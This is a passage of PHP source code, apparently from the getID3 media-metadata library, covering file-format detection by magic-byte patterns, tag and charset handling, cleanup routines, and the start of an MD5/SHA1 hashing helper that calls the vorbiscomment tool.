			// get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
			if ($this->option_md5_data) {
				// do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too
				if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) {
					$this->getHashdata('md5');
				}
			}

			// get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
			if ($this->option_sha1_data) {
				$this->getHashdata('sha1');
			}

			// remove undesired keys
			$this->CleanUp();

		} catch (Exception $e) {
			$this->error('Caught exception: '.$e->getMessage());
		}

		// return info array
		return $this->info;
	}


	/**
	 * Error handling.
	 *
	 * @param string $message
	 *
	 * @return array
	 */
	public function error($message) {
		$this->CleanUp();
		if (!isset($this->info['error'])) {
			$this->info['error'] = array();
		}
		$this->info['error'][] = $message;
		return $this->info;
	}


	/**
	 * Warning handling.
	 *
	 * @param string $message
	 *
	 * @return bool
	 */
	public function warning($message) {
		$this->info['warning'][] = $message;
		return true;
	}


	/**
	 * @return bool
	 */
	private function CleanUp() {

		// remove possible empty keys
		$AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate');
		foreach ($AVpossibleEmptyKeys as $dummy => $key) {
			if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) {
				unset($this->info['audio'][$key]);
			}
			if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) {
				unset($this->info['video'][$key]);
			}
		}

		// remove empty root keys
		if (!empty($this->info)) {
			foreach ($this->info as $key => $value) {
				if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) {
					unset($this->info[$key]);
				}
			}
		}

		// remove meaningless entries from unknown-format files
		if (empty($this->info['fileformat'])) {
			if (isset($this->info['avdataoffset'])) {
				unset($this->info['avdataoffset']);
			}
			if (isset($this->info['avdataend'])) {
				unset($this->info['avdataend']);
			}
		}

		// remove possible duplicated identical entries
		if (!empty($this->info['error'])) {
			$this->info['error'] = array_values(array_unique($this->info['error']));
		}
		if (!empty($this->info['warning'])) {
			$this->info['warning'] = array_values(array_unique($this->info['warning']));
		}

		// remove "global variable" type keys
		unset($this->info['php_memory_limit']);

		return true;
	}

	/**
	 * Return array containing information about all supported formats.
	 *
	 * @return array
	 */
	public function GetFileFormatArray() {
		static $format_info = array();
		if (empty($format_info)) {
			$format_info = array(

				// Audio formats

				// AC-3   - audio      - Dolby AC-3 / Dolby Digital
				'ac3'  => array(
							'pattern'   => '^\\x0B\\x77',
							'group'     => 'audio',
							'module'    => 'ac3',
							'mime_type' => 'audio/ac3',
						),

				// AAC  - audio       - Advanced Audio Coding (AAC) - ADIF format
				'adif' => array(
							'pattern'   => '^ADIF',
							'group'     => 'audio',
							'module'    => 'aac',
							'mime_type' => 'audio/aac',
							'fail_ape'  => 'WARNING',
						),

/*
				// AA   - audio       - Audible Audiobook
				'aa'   => array(
							'pattern'   => '^.{4}\\x57\\x90\\x75\\x36',
							'group'     => 'audio',
							'module'    => 'aa',
							'mime_type' => 'audio/audible',
						),
*/
				// AAC  - audio       - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
				'adts' => array(
							'pattern'   => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]',
							'group'     => 'audio',
							'module'    => 'aac',
							'mime_type' => 'audio/aac',
							'fail_ape'  => 'WARNING',
						),


				// AU   - audio       - NeXT/Sun AUdio (AU)
				'au'   => array(
							'pattern'   => '^\\.snd',
							'group'     => 'audio',
							'module'    => 'au',
							'mime_type' => 'audio/basic',
						),

				// AMR  - audio       - Adaptive Multi Rate
				'amr'  => array(
							'pattern'   => '^\\x23\\x21AMR\\x0A', // #!AMR[0A]
							'group'     => 'audio',
							'module'    => 'amr',
							'mime_type' => 'audio/amr',
						),

				// AVR  - audio       - Audio Visual Research
				'avr'  => array(
							'pattern'   => '^2BIT',
							'group'     => 'audio',
							'module'    => 'avr',
							'mime_type' => 'application/octet-stream',
						),

				// BONK - audio       - Bonk v0.9+
				'bonk' => array(
							'pattern'   => '^\\x00(BONK|INFO|META| ID3)',
							'group'     => 'audio',
							'module'    => 'bonk',
							'mime_type' => 'audio/xmms-bonk',
						),

				// DSF  - audio       - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital
				'dsf'  => array(
							'pattern'   => '^DSD ',  // including trailing space: 44 53 44 20
							'group'     => 'audio',
							'module'    => 'dsf',
							'mime_type' => 'audio/dsd',
						),

				// DSS  - audio       - Digital Speech Standard
				'dss'  => array(
							'pattern'   => '^[\\x02-\\x08]ds[s2]',
							'group'     => 'audio',
							'module'    => 'dss',
							'mime_type' => 'application/octet-stream',
						),

				// DSDIFF - audio     - Direct Stream Digital Interchange File Format
				'dsdiff' => array(
							'pattern'   => '^FRM8',
							'group'     => 'audio',
							'module'    => 'dsdiff',
							'mime_type' => 'audio/dsd',
						),

				// DTS  - audio       - Dolby Theatre System
				'dts'  => array(
							'pattern'   => '^\\x7F\\xFE\\x80\\x01',
							'group'     => 'audio',
							'module'    => 'dts',
							'mime_type' => 'audio/dts',
						),

				// FLAC - audio       - Free Lossless Audio Codec
				'flac' => array(
							'pattern'   => '^fLaC',
							'group'     => 'audio',
							'module'    => 'flac',
							'mime_type' => 'audio/flac',
						),

				// LA   - audio       - Lossless Audio (LA)
				'la'   => array(
							'pattern'   => '^LA0[2-4]',
							'group'     => 'audio',
							'module'    => 'la',
							'mime_type' => 'application/octet-stream',
						),

				// LPAC - audio       - Lossless Predictive Audio Compression (LPAC)
				'lpac' => array(
							'pattern'   => '^LPAC',
							'group'     => 'audio',
							'module'    => 'lpac',
							'mime_type' => 'application/octet-stream',
						),

				// MIDI - audio       - MIDI (Musical Instrument Digital Interface)
				'midi' => array(
							'pattern'   => '^MThd',
							'group'     => 'audio',
							'module'    => 'midi',
							'mime_type' => 'audio/midi',
						),

				// MAC  - audio       - Monkey's Audio Compressor
				'mac'  => array(
							'pattern'   => '^MAC ',
							'group'     => 'audio',
							'module'    => 'monkey',
							'mime_type' => 'audio/x-monkeys-audio',
						),


				// MOD  - audio       - MODule (SoundTracker)
				'mod'  => array(
							//'pattern'   => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)', // has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available
							'pattern'   => '^.{1080}(M\\.K\\.)',
							'group'     => 'audio',
							'module'    => 'mod',
							'option'    => 'mod',
							'mime_type' => 'audio/mod',
						),

				// MOD  - audio       - MODule (Impulse Tracker)
				'it'   => array(
							'pattern'   => '^IMPM',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 'it',
							'mime_type' => 'audio/it',
						),

				// MOD  - audio       - MODule (eXtended Module, various sub-formats)
				'xm'   => array(
							'pattern'   => '^Extended Module',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 'xm',
							'mime_type' => 'audio/xm',
						),

				// MOD  - audio       - MODule (ScreamTracker)
				's3m'  => array(
							'pattern'   => '^.{44}SCRM',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 's3m',
							'mime_type' => 'audio/s3m',
						),

				// MPC  - audio       - Musepack / MPEGplus
				'mpc'  => array(
							'pattern'   => '^(MPCK|MP\\+)',
							'group'     => 'audio',
							'module'    => 'mpc',
							'mime_type' => 'audio/x-musepack',
						),

				// MP3  - audio       - MPEG-audio Layer 3 (very similar to AAC-ADTS)
				'mp3'  => array(
							'pattern'   => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]',
							'group'     => 'audio',
							'module'    => 'mp3',
							'mime_type' => 'audio/mpeg',
						),

				// OFR  - audio       - OptimFROG
				'ofr'  => array(
							'pattern'   => '^(\\*RIFF|OFR)',
							'group'     => 'audio',
							'module'    => 'optimfrog',
							'mime_type' => 'application/octet-stream',
						),

				// RKAU - audio       - RKive AUdio compressor
				'rkau' => array(
							'pattern'   => '^RKA',
							'group'     => 'audio',
							'module'    => 'rkau',
							'mime_type' => 'application/octet-stream',
						),

				// SHN  - audio       - Shorten
				'shn'  => array(
							'pattern'   => '^ajkg',
							'group'     => 'audio',
							'module'    => 'shorten',
							'mime_type' => 'audio/xmms-shn',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TAK  - audio       - Tom's lossless Audio Kompressor
				'tak'  => array(
							'pattern'   => '^tBaK',
							'group'     => 'audio',
							'module'    => 'tak',
							'mime_type' => 'application/octet-stream',
						),

				// TTA  - audio       - TTA Lossless Audio Compressor (http://tta.corecodec.org)
				'tta'  => array(
							'pattern'   => '^TTA',  // could also be '^TTA(\\x01|\\x02|\\x03|2|1)'
							'group'     => 'audio',
							'module'    => 'tta',
							'mime_type' => 'application/octet-stream',
						),

				// VOC  - audio       - Creative Voice (VOC)
				'voc'  => array(
							'pattern'   => '^Creative Voice File',
							'group'     => 'audio',
							'module'    => 'voc',
							'mime_type' => 'audio/voc',
						),

				// VQF  - audio       - transform-domain weighted interleave Vector Quantization Format (VQF)
				'vqf'  => array(
							'pattern'   => '^TWIN',
							'group'     => 'audio',
							'module'    => 'vqf',
							'mime_type' => 'application/octet-stream',
						),

				// WV  - audio        - WavPack (v4.0+)
				'wv'   => array(
							'pattern'   => '^wvpk',
							'group'     => 'audio',
							'module'    => 'wavpack',
							'mime_type' => 'application/octet-stream',
						),


				// Audio-Video formats

				// ASF  - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio
				'asf'  => array(
							'pattern'   => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C',
							'group'     => 'audio-video',
							'module'    => 'asf',
							'mime_type' => 'video/x-ms-asf',
							'iconv_req' => false,
						),

				// BINK - audio/video - Bink / Smacker
				'bink' => array(
							'pattern'   => '^(BIK|SMK)',
							'group'     => 'audio-video',
							'module'    => 'bink',
							'mime_type' => 'application/octet-stream',
						),

				// FLV  - audio/video - FLash Video
				'flv' => array(
							'pattern'   => '^FLV[\\x01]',
							'group'     => 'audio-video',
							'module'    => 'flv',
							'mime_type' => 'video/x-flv',
						),

				// IVF - audio/video - IVF
				'ivf' => array(
							'pattern'   => '^DKIF',
							'group'     => 'audio-video',
							'module'    => 'ivf',
							'mime_type' => 'video/x-ivf',
						),

				// MKAV - audio/video - Mastroka
				'matroska' => array(
							'pattern'   => '^\\x1A\\x45\\xDF\\xA3',
							'group'     => 'audio-video',
							'module'    => 'matroska',
							'mime_type' => 'video/x-matroska', // may also be audio/x-matroska
						),

				// MPEG - audio/video - MPEG (Moving Pictures Experts Group)
				'mpeg' => array(
							'pattern'   => '^\\x00\\x00\\x01[\\xB3\\xBA]',
							'group'     => 'audio-video',
							'module'    => 'mpeg',
							'mime_type' => 'video/mpeg',
						),

				// NSV  - audio/video - Nullsoft Streaming Video (NSV)
				'nsv'  => array(
							'pattern'   => '^NSV[sf]',
							'group'     => 'audio-video',
							'module'    => 'nsv',
							'mime_type' => 'application/octet-stream',
						),

				// Ogg  - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*))
				'ogg'  => array(
							'pattern'   => '^OggS',
							'group'     => 'audio',
							'module'    => 'ogg',
							'mime_type' => 'application/ogg',
							'fail_id3'  => 'WARNING',
							'fail_ape'  => 'WARNING',
						),

				// QT   - audio/video - Quicktime
				'quicktime' => array(
							'pattern'   => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)',
							'group'     => 'audio-video',
							'module'    => 'quicktime',
							'mime_type' => 'video/quicktime',
						),

				// RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF)
				'riff' => array(
							'pattern'   => '^(RIFF|SDSS|FORM)',
							'group'     => 'audio-video',
							'module'    => 'riff',
							'mime_type' => 'audio/wav',
							'fail_ape'  => 'WARNING',
						),

				// Real - audio/video - RealAudio, RealVideo
				'real' => array(
							'pattern'   => '^\\.(RMF|ra)',
							'group'     => 'audio-video',
							'module'    => 'real',
							'mime_type' => 'audio/x-realaudio',
						),

				// SWF - audio/video - ShockWave Flash
				'swf' => array(
							'pattern'   => '^(F|C)WS',
							'group'     => 'audio-video',
							'module'    => 'swf',
							'mime_type' => 'application/x-shockwave-flash',
						),

				// TS - audio/video - MPEG-2 Transport Stream
				'ts' => array(
							'pattern'   => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G".  Check for at least 10 packets matching this pattern
							'group'     => 'audio-video',
							'module'    => 'ts',
							'mime_type' => 'video/MP2T',
						),

				// WTV - audio/video - Windows Recorded TV Show
				'wtv' => array(
							'pattern'   => '^\\xB7\\xD8\\x00\\x20\\x37\\x49\\xDA\\x11\\xA6\\x4E\\x00\\x07\\xE9\\x5E\\xAD\\x8D',
							'group'     => 'audio-video',
							'module'    => 'wtv',
							'mime_type' => 'video/x-ms-wtv',
						),


				// Still-Image formats

				// BMP  - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4)
				'bmp'  => array(
							'pattern'   => '^BM',
							'group'     => 'graphic',
							'module'    => 'bmp',
							'mime_type' => 'image/bmp',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// GIF  - still image - Graphics Interchange Format
				'gif'  => array(
							'pattern'   => '^GIF',
							'group'     => 'graphic',
							'module'    => 'gif',
							'mime_type' => 'image/gif',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// JPEG - still image - Joint Photographic Experts Group (JPEG)
				'jpg'  => array(
							'pattern'   => '^\\xFF\\xD8\\xFF',
							'group'     => 'graphic',
							'module'    => 'jpg',
							'mime_type' => 'image/jpeg',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PCD  - still image - Kodak Photo CD
				'pcd'  => array(
							'pattern'   => '^.{2048}PCD_IPI\\x00',
							'group'     => 'graphic',
							'module'    => 'pcd',
							'mime_type' => 'image/x-photo-cd',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// PNG  - still image - Portable Network Graphics (PNG)
				'png'  => array(
							'pattern'   => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A',
							'group'     => 'graphic',
							'module'    => 'png',
							'mime_type' => 'image/png',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// SVG  - still image - Scalable Vector Graphics (SVG)
				'svg'  => array(
							'pattern'   => '(<!DOCTYPE svg PUBLIC |xmlns="http://www\\.w3\\.org/2000/svg")',
							'group'     => 'graphic',
							'module'    => 'svg',
							'mime_type' => 'image/svg+xml',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// TIFF - still image - Tagged Information File Format (TIFF)
				'tiff' => array(
							'pattern'   => '^(II\\x2A\\x00|MM\\x00\\x2A)',
							'group'     => 'graphic',
							'module'    => 'tiff',
							'mime_type' => 'image/tiff',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// EFAX - still image - eFax (TIFF derivative)
				'efax'  => array(
							'pattern'   => '^\\xDC\\xFE',
							'group'     => 'graphic',
							'module'    => 'efax',
							'mime_type' => 'image/efax',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// Data formats

				// ISO  - data        - International Standards Organization (ISO) CD-ROM Image
				'iso'  => array(
							'pattern'   => '^.{32769}CD001',
							'group'     => 'misc',
							'module'    => 'iso',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
							'iconv_req' => false,
						),

				// HPK  - data        - HPK compressed data
				'hpk'  => array(
							'pattern'   => '^BPUL',
							'group'     => 'archive',
							'module'    => 'hpk',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// RAR  - data        - RAR compressed data
				'rar'  => array(
							'pattern'   => '^Rar\\!',
							'group'     => 'archive',
							'module'    => 'rar',
							'mime_type' => 'application/vnd.rar',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// SZIP - audio/data  - SZIP compressed data
				'szip' => array(
							'pattern'   => '^SZ\\x0A\\x04',
							'group'     => 'archive',
							'module'    => 'szip',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TAR  - data        - TAR compressed data
				'tar'  => array(
							'pattern'   => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}',
							'group'     => 'archive',
							'module'    => 'tar',
							'mime_type' => 'application/x-tar',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// GZIP  - data        - GZIP compressed data
				'gz'  => array(
							'pattern'   => '^\\x1F\\x8B\\x08',
							'group'     => 'archive',
							'module'    => 'gzip',
							'mime_type' => 'application/gzip',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// ZIP  - data         - ZIP compressed data
				'zip'  => array(
							'pattern'   => '^PK\\x03\\x04',
							'group'     => 'archive',
							'module'    => 'zip',
							'mime_type' => 'application/zip',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// XZ   - data         - XZ compressed data
				'xz'  => array(
							'pattern'   => '^\\xFD7zXZ\\x00',
							'group'     => 'archive',
							'module'    => 'xz',
							'mime_type' => 'application/x-xz',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// XZ   - data         - XZ compressed data
				'7zip'  => array(
							'pattern'   => '^7z\\xBC\\xAF\\x27\\x1C',
							'group'     => 'archive',
							'module'    => '7zip',
							'mime_type' => 'application/x-7z-compressed',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// Misc other formats

				// PAR2 - data        - Parity Volume Set Specification 2.0
				'par2' => array (
							'pattern'   => '^PAR2\\x00PKT',
							'group'     => 'misc',
							'module'    => 'par2',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PDF  - data        - Portable Document Format
				'pdf'  => array(
							'pattern'   => '^\\x25PDF',
							'group'     => 'misc',
							'module'    => 'pdf',
							'mime_type' => 'application/pdf',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// MSOFFICE  - data   - ZIP compressed data
				'msoffice' => array(
							'pattern'   => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document
							'group'     => 'misc',
							'module'    => 'msoffice',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TORRENT             - .torrent
				'torrent' => array(
							'pattern'   => '^(d8\\:announce|d7\\:comment)',
							'group'     => 'misc',
							'module'    => 'torrent',
							'mime_type' => 'application/x-bittorrent',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				 // CUE  - data       - CUEsheet (index to single-file disc images)
				 'cue' => array(
							'pattern'   => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents
							'group'     => 'misc',
							'module'    => 'cue',
							'mime_type' => 'application/octet-stream',
						   ),

			);
		}

		return $format_info;
	}

	/**
	 * @param string $filedata
	 * @param string $filename
	 *
	 * @return mixed|false
	 */
	public function GetFileFormat(&$filedata, $filename='') {
		// this function will determine the format of a file based on usually
		// the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG,
		// and in the case of ISO CD image, 6 bytes offset 32kb from the start
		// of the file).

		// Identify file format - loop through $format_info and detect with reg expr
		foreach ($this->GetFileFormatArray() as $format_name => $info) {
			// The /s switch on preg_match() forces preg_match() NOT to treat
			// newline (0x0A) characters as special chars but do a binary match
			if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) {
				$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
				return $info;
			}
		}


		if (preg_match('#\\.mp[123a]$#i', $filename)) {
			// Too many mp3 encoders on the market put garbage in front of mpeg files
			// use assume format on these if format detection failed
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['mp3'];
			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		} elseif (preg_match('#\\.mp[cp\\+]$#i', $filename) && preg_match('#[\x00\x01\x10\x11\x40\x41\x50\x51\x80\x81\x90\x91\xC0\xC1\xD0\xD1][\x20-37][\x00\x20\x40\x60\x80\xA0\xC0\xE0]#s', $filedata)) {
			// old-format (SV4-SV6) Musepack header that has a very loose pattern match and could falsely match other data (e.g. corrupt mp3)
			// only enable this pattern check if the filename ends in .mpc/mpp/mp+
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['mpc'];
			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		} elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) {
			// there's not really a useful consistent "magic" at the beginning of .cue files to identify them
			// so until I think of something better, just go by filename if all other format checks fail
			// and verify there's at least one instance of "TRACK xx AUDIO" in the file
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['cue'];
			$info['include']   = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		}

		return false;
	}

	/**
	 * Converts array to $encoding charset from $this->encoding.
	 *
	 * @param array  $array
	 * @param string $encoding
	 */
	public function CharConvert(&$array, $encoding) {

		// identical encoding - end here
		if ($encoding == $this->encoding) {
			return;
		}

		// loop thru array
		foreach ($array as $key => $value) {

			// go recursive
			if (is_array($value)) {
				$this->CharConvert($array[$key], $encoding);
			}

			// convert string
			elseif (is_string($value)) {
				$array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value));
			}
		}
	}

	/**
	 * @return bool
	 */
	public function HandleAllTags() {

		// key name => array (tag name, character encoding)
		static $tags;
		if (empty($tags)) {
			$tags = array(
				'asf'       => array('asf'           , 'UTF-16LE'),
				'midi'      => array('midi'          , 'ISO-8859-1'),
				'nsv'       => array('nsv'           , 'ISO-8859-1'),
				'ogg'       => array('vorbiscomment' , 'UTF-8'),
				'png'       => array('png'           , 'UTF-8'),
				'tiff'      => array('tiff'          , 'ISO-8859-1'),
				'quicktime' => array('quicktime'     , 'UTF-8'),
				'real'      => array('real'          , 'ISO-8859-1'),
				'vqf'       => array('vqf'           , 'ISO-8859-1'),
				'zip'       => array('zip'           , 'ISO-8859-1'),
				'riff'      => array('riff'          , 'ISO-8859-1'),
				'lyrics3'   => array('lyrics3'       , 'ISO-8859-1'),
				'id3v1'     => array('id3v1'         , $this->encoding_id3v1),
				'id3v2'     => array('id3v2'         , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8
				'ape'       => array('ape'           , 'UTF-8'),
				'cue'       => array('cue'           , 'ISO-8859-1'),
				'matroska'  => array('matroska'      , 'UTF-8'),
				'flac'      => array('vorbiscomment' , 'UTF-8'),
				'divxtag'   => array('divx'          , 'ISO-8859-1'),
				'iptc'      => array('iptc'          , 'ISO-8859-1'),
				'dsdiff'    => array('dsdiff'        , 'ISO-8859-1'),
			);
		}

		// loop through comments array
		foreach ($tags as $comment_name => $tagname_encoding_array) {
			list($tag_name, $encoding) = $tagname_encoding_array;

			// fill in default encoding type if not already present
			if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) {
				$this->info[$comment_name]['encoding'] = $encoding;
			}

			// copy comments if key name set
			if (!empty($this->info[$comment_name]['comments'])) {
				foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) {
					foreach ($valuearray as $key => $value) {
						if (is_string($value)) {
							$value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed!
						}
						if (isset($value) && $value !== "") {
							if (!is_numeric($key)) {
								$this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value;
							} else {
								$this->info['tags'][trim($tag_name)][trim($tag_key)][]     = $value;
							}
						}
					}
					if ($tag_key == 'picture') {
						// pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere
						unset($this->info[$comment_name]['comments'][$tag_key]);
					}
				}

				if (!isset($this->info['tags'][$tag_name])) {
					// comments are set but contain nothing but empty strings, so skip
					continue;
				}

				$this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']);           // only copy gets converted!

				if ($this->option_tags_html) {
					foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) {
						if ($tag_key == 'picture') {
							// Do not to try to convert binary picture data to HTML
							// https://github.com/JamesHeinrich/getID3/issues/178
							continue;
						}
						$this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']);
					}
				}

			}

		}

		// pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere
		if (!empty($this->info['tags'])) {
			$unset_keys = array('tags', 'tags_html');
			foreach ($this->info['tags'] as $tagtype => $tagarray) {
				foreach ($tagarray as $tagname => $tagdata) {
					if ($tagname == 'picture') {
						foreach ($tagdata as $key => $tagarray) {
							$this->info['comments']['picture'][] = $tagarray;
							if (isset($tagarray['data']) && isset($tagarray['image_mime'])) {
								if (isset($this->info['tags'][$tagtype][$tagname][$key])) {
									unset($this->info['tags'][$tagtype][$tagname][$key]);
								}
								if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) {
									unset($this->info['tags_html'][$tagtype][$tagname][$key]);
								}
							}
						}
					}
				}
				foreach ($unset_keys as $unset_key) {
					// remove possible empty keys from (e.g. [tags][id3v2][picture])
					if (empty($this->info[$unset_key][$tagtype]['picture'])) {
						unset($this->info[$unset_key][$tagtype]['picture']);
					}
					if (empty($this->info[$unset_key][$tagtype])) {
						unset($this->info[$unset_key][$tagtype]);
					}
					if (empty($this->info[$unset_key])) {
						unset($this->info[$unset_key]);
					}
				}
				// remove duplicate copy of picture data from (e.g. [id3v2][comments][picture])
				if (isset($this->info[$tagtype]['comments']['picture'])) {
					unset($this->info[$tagtype]['comments']['picture']);
				}
				if (empty($this->info[$tagtype]['comments'])) {
					unset($this->info[$tagtype]['comments']);
				}
				if (empty($this->info[$tagtype])) {
					unset($this->info[$tagtype]);
				}
			}
		}
		return true;
	}

	/**
	 * Calls getid3_lib::CopyTagsToComments() but passes in the option_tags_html setting from this instance of getID3
	 *
	 * @param array $ThisFileInfo
	 *
	 * @return bool
	 */
	public function CopyTagsToComments(&$ThisFileInfo) {
	    return getid3_lib::CopyTagsToComments($ThisFileInfo, $this->option_tags_html);
	}

	/**
	 * @param string $algorithm
	 *
	 * @return array|bool
	 */
	public function getHashdata($algorithm) {
		switch ($algorithm) {
			case 'md5':
			case 'sha1':
				break;

			default:
				return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()');
		}

		if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) {

			// We cannot get an identical md5_data value for Ogg files where the comments
			// span more than 1 Ogg page (compared to the same audio data with smaller
			// comments) using the normal getID3() method of MD5'ing the data between the
			// end of the comments and the end of the file (minus any trailing tags),
			// because the page sequence numbers of the pages that the audio data is on
			// do not match. Under normal circumstances, where comments are smaller than
			// the nominal 4-8kB page size, then this is not a problem, but if there are
			// very large comments, the only way around it is to strip off the comment
			// tags with vorbiscomment and MD5 that file.
			// This procedure must be applied to ALL Ogg files, not just the ones with
			// comments larger than 1 page, because the below method simply MD5's the
			// whole file with the comments stripped, not just the portion after the
			// comments block (which is the standard getID3() method.

			// The above-mentioned problem of comments spanning multiple pages and changing
			// page sequence numbers likely happens for OggSpeex and OggFLAC as well, but
			// currently vorbiscomment only works on OggVorbis files.

			// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved
			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {

				$this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)');
				$this->info[$algorithm.'_data'] = false;

			} else {

				// Prevent user from aborting script
				$old_abort = ignore_user_abort(true);

				// Create empty file
				$empty = tempnam(GETID3_TEMP_DIR, 'getID3');
				touch($empty);

				// Use vorbiscomment to make temp file without comments
				$temp = tempnam(GETID3_TEMP_DIR, 'getID3');
				$file = $this->info['filenamepath'];

				if (GETID3_OS_ISWINDOWS) {

					if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) {

						$commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"';
						$VorbisCommentError = `$commandline`;

					} else {

						$VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR;

					}

				} else {

